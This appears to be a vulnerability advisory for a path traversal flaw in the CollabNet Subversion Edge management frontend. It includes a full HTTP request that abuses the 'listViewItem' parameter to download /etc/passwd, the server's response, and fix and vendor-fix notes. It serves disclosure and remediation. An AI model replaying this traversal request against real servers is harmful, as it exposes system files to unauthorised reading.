Summary:
The CollabNet Subversion Edge Management Frontend allows authenticated admins to
read arbitrary local files via logfile "listViewItem" parameter of the "index"
action
Vulnerability:
Request:
POST /csvn/repo/index HTTP/1.1
Host: example.com:4434
[...]
id=1&datatable_length=10&listViewItem_../../../../../../etc/passwd=on&_confirmDialogText_copyHook=&_confirmDialogText_renameHook=&_action_downloadHook=Download
Response:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-disposition: attachment;filename="../../../../../../etc/passwd"
Content-Length: 1825
root:x:0:0:root:/root:/bin/bash
Fix proposal:
Remove feature or santizes the "listViewItem" parameter so that no path traversals and
arbitrary file inclusions are possible.
Vendor fix:
[...] now allow only showing hooks/logs within the intended directories.
